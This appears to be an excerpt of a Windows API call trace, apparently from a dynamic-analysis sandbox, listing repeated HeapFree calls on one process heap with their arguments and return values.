	[0164.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0164.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0164.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0164.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0164.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0164.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0164.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0164.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0164.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0164.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0164.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0164.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0164.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0164.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0164.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0165.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0165.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0165.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0165.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0165.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0165.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0165.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0165.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0165.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0165.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0166.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0166.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0166.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0166.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0166.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0166.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0166.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0166.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0166.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0166.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0166.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0166.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0166.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0166.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0167.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0167.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
